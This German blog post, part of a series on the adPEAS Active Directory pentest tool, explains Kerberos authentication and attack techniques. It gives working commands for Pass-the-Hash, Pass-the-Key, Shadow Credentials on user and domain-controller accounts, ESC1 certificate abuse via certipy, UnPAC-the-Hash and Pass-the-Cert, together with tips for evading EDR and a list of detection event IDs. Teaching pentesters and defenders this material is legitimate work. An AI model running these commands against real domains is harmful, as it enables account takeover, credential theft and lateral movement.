adPEAS v2 Episode 3: Authentication Deep-Dive

Einführung: Der Höllenhund und seine drei Köpfe

Authentifizierung in Active Directory ist ein komplexes Thema. In diesem Blogpost geht es tief in die Materie: Wie funktioniert Kerberos? Was ist Pass-the-Hash? Wozu braucht man PKINIT? Und was tun, wenn nichts funktioniert?

Falls die Frage aufkommt, warum das Protokoll “Kerberos” heißt: Das kommt aus der griechischen Mythologie. Kerberos (oder Cerberus) war der dreiköpfige Höllenhund, der den Eingang zur Unterwelt bewachte. Die drei “Köpfe” bei Kerberos-Authentifizierung sind: Client, Server und KDC (Key Distribution Center). Ob das Protokoll manchmal die Hölle ist? Ja. Definitiv.

Teil 1: Kerberos - Das Fundament

Das Problem das Kerberos löst

Stellen wir uns ein großes Unternehmen vor. Zugriff auf verschiedene Server — Fileserver, Mailserver, Webserver. Bei jedem Server das Passwort eingeben? Das wäre umständlich und unsicher.

Kerberos löst das elegant:

Einmalige Authentifizierung beim KDC (normalerweise der Domain Controller)
Ausstellung eines “Tickets”, das die Identität beweist
Mit diesem Ticket Zugriff auf alle Services ohne erneute Passworteingabe

Das ist Single Sign-On (SSO) — und Kerberos macht das seit den 80er Jahren.

Die Akteure im Kerberos-Theater

Client — Das System, auf dem adPEAS läuft.

KDC (Key Distribution Center) — Der Schlüsselmeister. In Active Directory ist das der Domain Controller. Er hat zwei Funktionen:

AS (Authentication Service) — Gibt das TGT aus
TGS (Ticket Granting Service) — Gibt Service Tickets aus

Service/Server — Der Dienst, der genutzt werden soll (z.B. LDAP auf dem DC)

TGT (Ticket Granting Ticket) — Die “Eintrittskarte”. Damit wird bewiesen, dass eine Authentifizierung stattgefunden hat.

Service Ticket (TGS) — Das eigentliche Ticket für einen bestimmten Service.

Der klassische Kerberos-Flow

+----------+                        +---------+                    +---------+
|  Client  |                        |   KDC   |                    | Service |
+----+-----+                        +----+----+                    +----+----+
     |                                   |                              |
     |  1. AS-REQ (ich bin admin)        |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  2. AS-REP (hier ist dein TGT)    |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  3. TGS-REQ (ich will LDAP)       |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  4. TGS-REP (hier Service Ticket) |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  5. AP-REQ (hier mein Ticket)     |                              |
     |----------------------------------------------------------------->|
     |                                   |                              |
     |  6. AP-REP (willkommen!)          |                              |
     |<-----------------------------------------------------------------|

Die Idee ist elegant: Das Passwort verlässt nie den Computer. Stattdessen wird alles mit Tickets und verschlüsselten Nachrichten abgewickelt.

Was passiert in adPEAS?

Wenn adPEAS mit einem Passwort gestartet wird:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd"

…passiert unter der Haube Folgendes:

Schritt 1: Key Derivation

Das Passwort wird nie direkt verwendet. Stattdessen wird daraus ein kryptographischer Key abgeleitet:

Password: "P@ssw0rd"
     |
     v
+---------------------------------------+
|           String-to-Key               |
+---------------------------------------+
|  Salt = CONTOSO.COM + username        |
|  PBKDF2 mit 4096 Iterationen         |
|  AES-256 Key Derivation              |
+---------------------------------------+
     |
     v
AES256 Key: 4a3b2c1d5e6f7a8b9c0d1e2f3a4b5c6d...

Der “Salt” ist wichtig — er besteht aus dem REALM (Domain in Großbuchstaben) plus dem Benutzernamen. Das stellt sicher, dass das gleiche Passwort in verschiedenen Domains verschiedene Keys erzeugt.

Schritt 2: AS-REQ bauen

Mit dem Key wird die AS-REQ (Authentication Service Request) gebaut:

$ASREQ = @{
    pvno = 5                          # Kerberos Version
    msg_type = 10                     # AS-REQ
    padata = @(
        @{
            padata_type = 2           # PA-ENC-TIMESTAMP
            padata_value = $encryptedTimestamp
        }
    )
    req_body = @{
        kdc_options = 0x40810010      # Flags
        cname = "admin"               # Client Name
        realm = "CONTOSO.COM"         # Domain
        sname = "krbtgt/CONTOSO.COM"  # TGT Service
        till = "20370913024805Z"      # Gültig bis
        nonce = (Get-Random)          # Zufallszahl
        etype = @(18, 17, 23)         # AES256, AES128, RC4
    }
}

Der verschlüsselte Timestamp ist die “Pre-Authentication”, die beweist, dass das Passwort bekannt ist.

Schritt 3-5: TGT holen, Service Ticket holen, Pass-the-Ticket

Nach Erhalt des TGT wird ein Service Ticket für LDAP angefordert und via PTT (Pass-the-Ticket) in die Windows Session injiziert:

# PTT verwendet die LSA API
[LSATicketImport]::LsaCallAuthenticationPackage(
    $lsaHandle,
    $kerberosPackageId,
    $submitBuffer,      # Unser Ticket
    $submitBufferSize,
    [ref]$null, [ref]$null, [ref]$protocolStatus
)

Danach kann LDAP mit Kerberos-Auth verwendet werden — das Ticket kommt automatisch aus dem Cache.

Encryption Types (etypes)

etype	Algorithmus	Sicherheit
18	AES256-CTS	Stark (empfohlen)
17	AES128-CTS	Gut
23	RC4-HMAC	Schwach (aber weiterhin unterstütz)

adPEAS versucht immer zuerst AES256. RC4-HMAC ist der Grund, warum Pass-the-Hash funktioniert — denn bei RC4 wird der NT-Hash direkt als Key verwendet.

Teil 2: Pass-the-Hash & Pass-the-Key

Das Dilemma des Pentesters

Zugang zu einem System ist vorhanden, mit Mimikatz lassen sich die Credentials dumpen:

 * NTLM     : 32ED87BDB5FDC5E9CBA88547376818D4

Der NT-Hash liegt vor. Aber das Passwort? Unbekannt. Cracking könnte Wochen dauern.

Hier kommt Pass-the-Hash ins Spiel: Warum das Passwort cracken, wenn der Hash direkt verwendet werden kann?

Pass-the-Hash in adPEAS

Connect-adPEAS -Domain "contoso.com" -Username "admin" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4"

Bei Kerberos mit RC4-HMAC wird der NT-Hash direkt als Schlüssel verwendet — kein Salt, keine Iterationen:

Bei normalem Password-Login (AES256):
Password -> PBKDF2(Salt, 4096 Iterationen) -> DK -> AES256-Key

Bei Pass-the-Hash (RC4):
NT-Hash -> direkt als Key verwenden

Pass-the-Key: Die AES-Variante

Wenn AES-Keys vorliegen (z.B. aus DCSync oder Rubeus):

# Mit AES256 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES256Key "4a3b2c1d5e6f7a8b..."

# Mit AES128 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES128Key "1a2b3c4d5e6f7a8b..."

Warum ist Pass-the-Key besser als Pass-the-Hash?

Modernere Verschlüsselung — AES256 ist der aktuelle Standard
Weniger Detection — Viele EDR-Lösungen haben spezielle Rules für RC4-Tickets

Detection-Sicht:

RC4-HMAC Ticket anfordern in 2025?
  -> "Das ist verdächtig, wer macht das noch?" -> Alert!

AES256 Ticket anfordern?
  -> "Normal" -> Kein Alert

Non-Domain-Joined: Der eigentliche Vorteil

Es braucht keinen Domain-Join. Weil adPEAS den kompletten Kerberos-Stack selbst implementiert, können von jedem System aus Tickets angefordert werden — Hauptsache es ist ein Windows-System.

Zusammenfassung Pass-the-*

Methode	Key-Quelle	Encryption	Stealth
Password	Passwort-Eingabe	AES256	Hoch
Pass-the-Hash	NT-Hash	RC4-HMAC	Mittel
Pass-the-Key (AES)	AES-Key	AES256/128	Hoch
Overpass-the-Hash	NT-Hash (direkt als RC4-Key)	RC4-HMAC	Mittel

Teil 3: PKINIT - Zertifikate statt Passwörter

Wozu PKINIT?

PKINIT ist eine Kerberos-Erweiterung, die es erlaubt, sich mit einem Zertifikat statt einem Passwort zu authentifizieren. Der große Vorteil: Zertifikate sind oft länger gültig als Passwörter — perfekt für Persistence.

+-------------+                                    +---------+
|   Client    |                                    |   KDC   |
| (mit Cert)  |                                    |         |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. AS-REQ mit signierter Nachricht              |
     |      (Beweis: "Ich habe den Private Key")        |
     |------------------------------------------------->|
     |                                                  |
     |  2. AS-REP mit TGT                               |
     |      (Verschlüsselt mit DH-Key)                  |
     |<-------------------------------------------------|

Statt eines verschlüsselten Timestamps wird eine signierte Nachricht gesendet. Das Zertifikat enthält einen Public Key, und durch eine Signatur wird bewiesen, dass der dazugehörige Private Key vorhanden ist.

Welche Zertifikate funktionieren?

OID	Name	Funktioniert?
1.3.6.1.4.1.311.20.2.2	Smartcard Logon	Ja
1.3.6.1.5.5.7.3.2	Client Authentication	Ja
1.3.6.1.5.2.3.4	PKINIT Client Auth	Ja
2.5.29.37.0	Any Purpose	Ja

Außerdem braucht das Zertifikat einen Subject Alternative Name (SAN) mit dem UPN des Users.

PKINIT in adPEAS

# Mit PFX-Datei
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"

# Mit Passwort-geschützter PFX
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx" -CertificatePassword "MyPfxPassword"

UnPAC-the-Hash: NT-Hash Recovery nach PKINIT

Ein besonders nützlicher Nebeneffekt von PKINIT: Der KDC kann den NT-Hash des Benutzers im Ticket zurück liefern. Warum? Bei PKINIT authentifiziert sich der Client asymmetrisch (Zertifikat) — er besitzt keinen symmetrischen Key. Der KDC packt deshalb die NTLM-Credentials als “Bonus” in den PAC (PAC_CREDENTIAL_INFO, Buffer Type 2), verschlüsselt mit dem DH-derived Key.

adPEAS nutzt das automatisch aus:

Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"
Get-adPEASSession

# Output:
# Authenticated as:                  administrator@CONTOSO.COM
# NT-Hash:                           9ec9d30b8b69ecbbada1d3110f354f8d
# Authentication Method:             Kerberos (TGT/TGS)

Wie funktioniert das technisch?

1. PKINIT AS-REQ/AS-REP -> TGT + DH-derived Key
2. U2U TGS-REQ an sich selbst (enc-tkt-in-skey)
3. KDC antwortet mit Service Ticket inkl. PAC_CREDENTIAL_INFO
4. Service Ticket mit Session Key entschlüsseln (KeyUsage 2)
5. PAC_CREDENTIAL_INFO mit AS-REP Reply Key entschlüsseln (KeyUsage 16)
6. NTLM_SUPPLEMENTAL_CREDENTIAL parsen -> NT-Hash extrahieren

Warum ist das praktisch?

Nach einem ADCS-Angriff (ESC1, etc.) hat man ein Zertifikat — aber keinen Hash
Mit UnPAC-the-Hash bekommt man den NT-Hash direkt vom KDC
Kein Cracking nötig, kein Zugriff auf LSASS oder NTDS.dit
Der Hash kann dann für Pass-the-Hash oder offline verwendet werden

Wichtig: Das funktioniert nur nach PKINIT. Bei Password/Hash/Key-Auth liefert der KDC keinen PAC_CREDENTIAL_INFO, weil der Client bereits einen symmetrischen Key besitzt.

Woher bekommt man Zertifikate?

Option 1: Shadow Credentials - Die elegante Alternative

Es gibt einen Weg, Zertifikate für PKINIT zu erhalten, der komplett ohne CA auskommt: Shadow Credentials.

Voraussetzung: Der Domain Functional Level muss Windows Server 2016 oder höher sein. Das Attribut msDS-KeyCredentialLink existiert erst ab dem Schema-Update, das mit dem 2016 Domain Functional Level einhergeht. In Domains mit älterem Functional Level (2012 R2 oder niedriger) sind Shadow Credentials nicht möglich.

Das Prinzip: Jedes AD-Objekt hat ein Attribut msDS-KeyCredentialLink. Bei vorhandenen Schreibrechten darauf kann dort ein Public Key hinterlegt werden. Der dazugehörige Private Key wird zu einem Zertifikat, das für PKINIT funktioniert.

# Schritt 1: Shadow Credential hinzufügen (-PassThru gibt ein Objekt zurück)
$result = Set-DomainUser -Identity "admin" -AddShadowCredential -PassThru

# $result enthält u.a.:
#   .PFXPath     = "C:\admin_20260115_103000.pfx"
#   .PFXPassword = "aB3cD4eF5gH6iJ7kL8m9"
#   .DeviceID    = "a1b2c3d4-..."

# Schritt 2: Mit dem generierten Zertifikat authentifizieren
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword

# Schritt 3: Cleanup
Set-DomainUser -Identity "admin" -ClearShadowCredentials -DeviceID $result.DeviceID

Was passiert technisch?

adPEAS generiert ein RSA-2048 Key Pair
Erstellt eine KEYCREDENTIALLINK_BLOB Struktur (MS-ADTS 2.2.19 Format)
Schreibt das in msDS-KeyCredentialLink
Generiert ein selbst-signiertes X.509-Zertifikat mit Client Auth + Smart Card Logon EKUs
Exportiert als PFX

Warum ist das so effektiv?

Keine CA nötig — Funktioniert auch ohne ADCS
Keine CA-Logs — Die CA bekommt nichts mit
Self-signed ist OK — Der KDC validiert nur, dass der Public Key im AD steht
Funktioniert für User UND Computer — Ideal für Lateral Movement

Computer-Accounts nicht vergessen:

$result = Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword
# DCSync incoming!

Option 2: ADCS-Zertifikate (ESC1-4, ESC8-9, ESC13, ESC15)

Der klassische Weg über eine vulnerable Certificate Authority:

# Schritt 1: Vulnerable Template finden
Invoke-adPEAS -Module ADCS

# Output:
# [!] ESC1: Template 'WebServer' allows Enrollee Supplies Subject

# Schritt 2: Zertifikat anfordern (z.B. mit Certipy)
certipy req -u 'lowpriv@contoso.com' -p 'P@ssw0rd' -ca 'ROOT-CA' -template 'WebServer' -upn 'administrator@contoso.com'

# Schritt 3: Mit dem Zertifikat authentifizieren
Connect-adPEAS -Domain "contoso.com" -Certificate "administrator.pfx"

Vergleich: Shadow Credentials vs. ADCS-Zertifikate

Aspekt	Shadow Credentials	ADCS-Zertifikate
Benötigt CA	Nein	Ja
CA-Logs	Keine	Enrollment wird geloggt
Domain Functional Level	2016+ erforderlich	Keine Anforderung
Voraussetzung	Schreibrecht auf msDS-KeyCredentialLink	Enrollment-Berechtigung auf Template
Gültigkeit	Selbst definiert (default: 1 Jahr)	Vom Template vorgegeben
Detection	Event 5136 (Attribute Modified)	Event 4886/4887 (Cert Issued)

Teil 3b: Pass-the-Cert - Wenn Kerberos keine Option ist

Das Problem mit PKINIT

PKINIT ist toll, aber es hat einen Nachteil: Es braucht Kerberos. Port 88 muss erreichbar sein, ein TGT wird angefordert, und das Ticket muss via PTT in die Session injiziert werden. Was aber, wenn Port 88 geblockt ist? Zum Beispiel bei einem SOCKS-Proxy, SSH-Tunnel oder einer Firewall, die nur Port 636 durchlässt oder PKINIT aus welchen Gründen auch immer nicht funktioniert?

Hier kommt Pass-the-Cert (auch Schannel-Authentifizierung genannt) ins Spiel.

Wie funktioniert Pass-the-Cert?

Statt das Zertifikat für Kerberos zu verwenden, wird es direkt im TLS-Handshake präsentiert:

+-------------+                                    +---------+
|   Client    |                                    |   DC    |
| (mit Cert)  |                                    |  :636   |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. TLS ClientHello                              |
     |------------------------------------------------->|
     |                                                  |
     |  2. TLS ServerHello + CertificateRequest         |
     |<-------------------------------------------------|
     |                                                  |
     |  3. TLS Certificate (Client-Zertifikat)          |
     |     + CertificateVerify (Signatur mit PrivKey)   |
     |------------------------------------------------->|
     |                                                  |
     |  4. TLS Finished (Verbindung steht)              |
     |<-------------------------------------------------|
     |                                                  |
     |  Verbindung ist authentifiziert!                 |
     |  Kein Bind() nötig, kein Kerberos, kein TGT      |

Der DC mappt das Zertifikat über Schannel Certificate Mapping auf einen AD-Account. Das ist der gleiche Mechanismus, den Smart Cards bei LDAPS verwenden.

Pass-the-Cert in adPEAS

# Pass-the-Cert (Schannel) - kein Kerberos nötig
Connect-adPEAS -Domain "contoso.com" -Certificate "user.pfx" -ForcePassTheCert

# Mit spezifischem DC
Connect-adPEAS -Domain "contoso.com" -Server "dc01.contoso.com" -Certificate "user.pfx" -ForcePassTheCert

PKINIT vs. Pass-the-Cert: Wann was?

Aspekt	PKINIT	Pass-the-Cert (Schannel)
Protokoll	Kerberos (Port 88)	LDAPS (Port 636)
Port 88 nötig	Ja	Nein
Smart Card Logon EKU	Erforderlich	Nicht erforderlich
Shadow Credentials	Funktioniert	Funktioniert NICHT
ADCS-Zertifikate	Funktioniert	Funktioniert
LDAP Signing/Channel Binding	N/A	Immun (TLS liefert beides)

Faustregel:

PKINIT (Standard): Wenn Kerberos verfügbar ist
Pass-the-Cert (-ForcePassTheCert): Wenn Port 88 geblockt ist oder das Zertifikat kein Smart Card Logon EKU hat (z.B. aus ESC8 Relay) oder aus anderen Gründen PKINIT nicht sauber funktioniert.

Wichtig: Shadow Credentials funktionieren NUR mit PKINIT, nicht mit Pass-the-Cert. Der Grund: Shadow Credentials verwenden Key Credential Link Mapping im AD, während Pass-the-Cert Schannel Certificate Mapping benötigt - das setzt ein CA-ausgestelltes Zertifikat mit UPN/DNS SAN voraus.

Teil 4: Wenn es klemmt - Troubleshooting

Die Fallback-Hierarchie

adPEAS versucht immer den besten verfügbaren Authentifizierungsweg:

1. Native Kerberos (Pass-the-Key/Hash/PKINIT)
       |
       v Wenn das fehlschlägt:
2. NTLM Impersonation (automatisch, unterstützt LDAP Signing)
       |
       v Wenn das fehlschlägt:
3. LDAP SimpleBind (Credentials direkt an den DC)

Häufige Probleme und Lösungen

Problem 1: Port 88 geblockt

[!] Kerberos authentication failed
    Cannot reach KDC on port 88

Lösung: SimpleBind oder NTLM erzwingen

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind
# Oder:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Problem 2: DNS-Auflösung

[!] Cannot resolve KDC
    DNS lookup failed for _kerberos._tcp.contoso.com

Lösung: DC direkt angeben

Connect-adPEAS -Domain "contoso.com" -Server "10.0.0.10" -Username "admin" -Password "P@ssw0rd"

Problem 3: PTT schlägt fehl

[!] Failed to import Kerberos ticket
    LsaCallAuthenticationPackage failed with NTSTATUS 0x...

Hinweis: adPEAS verwendet LsaConnectUntrusted für PTT — das benötigt keine Admin-Rechte. PTT in die eigene Session (LUID 0) funktioniert ohne Elevation.

Falls PTT trotzdem fehlschlägt (z.B. durch restriktive Sicherheitsrichtlinien), kann NTLM Impersonation als Alternative verwendet werden:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Das verwendet runas /netonly-Stil Impersonation — die lokale Session bleibt unverändert, aber Netzwerkzugriffe verwenden die angegebenen Credentials.

Problem 4: Zeitsynchronisation

[!] KRB_AP_ERR_SKEW
    Clock skew too great

Kerberos erlaubt maximal 5 Minuten Zeitabweichung.

Lösung: Zeit synchronisieren oder Kerberos umgehen

# Zeit synchronisieren
w32tm /config /manualpeerlist:DC01.contoso.com /syncfromflags:manual /update
w32tm /resync

# Oder SimpleBind (hat keine Zeitanforderungen)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind

# Oder NTLM Impersonation (hat ebenfalls keine Zeitanforderungen)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Die Control-Flags zusammengefasst

Flag	Bewirkt
`-ForceSimpleBind`	Überspringt Kerberos UND NTLM Impersonation, geht direkt zu SimpleBind
`-ForceKerberos`	Kerberos oder Fehler, kein Fallback
`-ForceNTLM`	NTLM Impersonation (runas /netonly Stil)
`-ForcePassTheCert`	Schannel statt PKINIT (TLS Client-Zertifikat, kein Kerberos)
`-UseLDAPS`	LDAPS erzwingen (Port 636, TLS)
`-Server <DC>`	Bestimmten DC verwenden statt Auto-Discovery

Verbose-Modus

Wenn nichts mehr hilft:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -Verbose

Das zeigt genau, wo es hängt.

Detection und Defense

Was Defender sehen

Kerberos (Passwort/Hash/Key):

Event ID 4768 (TGT Request) — Normaler Login
Event ID 4769 (TGS Request) — Service Ticket
RC4-Tickets in modernen Umgebungen sind verdächtig

PKINIT (ADCS-Zertifikate):

Event ID 4768 mit Certificate-based Authentication
Event ID 4886/4887 (Certificate Request/Issued) auf der CA
Ungewöhnliche Zertifikatsausstellungen

PKINIT (Shadow Credentials):

Event ID 5136 (Directory Service Object Modified) — Änderung an msDS-KeyCredentialLink
Event ID 4768 mit Certificate-based Authentication
Keine CA-Events! — Das macht Detection schwieriger

Zusammenfassung

Die Authentifizierungsmethoden im Überblick

Methode	Benötigt	Encryption	Stealth	Fallback
Passwort	Passwort	AES256	Hoch	Ja (NTLM Impersonation -> SimpleBind)
Pass-the-Hash	NT-Hash	RC4-HMAC	Mittel	Nein (Kerberos erforderlich)
Pass-the-Key	AES-Key	AES256/128	Hoch	Nein (Kerberos erforderlich)
PKINIT (ADCS)	Zertifikat	DH+AES	Hoch	Nein
PKINIT (Shadow)	Schreibrechte	DH+AES	Hoch	Nein
Pass-the-Cert	CA-Zertifikat	TLS	Hoch	Nein (nur Port 636)

Wann was verwenden?

Passwort bekannt -> Normaler Login
Nur NT-Hash -> Pass-the-Hash (oder Overpass-the-Hash für mehr Stealth)
AES-Keys vorhanden -> Pass-the-Key (beste Option für Stealth)
ADCS vulnerabel -> PKINIT mit ADCS-Zertifikat
Schreibrechte auf AD-Objekt -> Shadow Credentials + PKINIT
Zertifikat + Port 88 blockiert -> Pass-the-Cert (-ForcePassTheCert)
Kerberos blockiert -> SimpleBind oder NTLM Impersonation

Die wichtigsten Takeaways

Kerberos ist Ticket-basiert - Das Passwort verlässt nie den Computer
Pass-the-Hash nutzt RC4 - Der Hash ist direkt der Key
Pass-the-Key ist stealthier - AES256 ist der Standard
PKINIT braucht nicht zwingend eine CA - Shadow Credentials funktionieren ohne (ab DFL 2016)
Pass-the-Cert umgeht Kerberos komplett - Nur Port 636 nötig, ideal hinter Proxies/Tunneln
adPEAS hat eingebaute Fallbacks - Es findet automatisch einen Weg
Verbose-Modus nutzen - Zeigt bei Problemen, wo es hängt

In den nächsten Episoden geht es um die Check-Module — dort wird es richtig interessant, denn das ist der Teil, in dem tatsächlich Schwachstellen gefunden werden.

← Episode 2: Unter der Haube | Episode 4: Security Checks — coming soon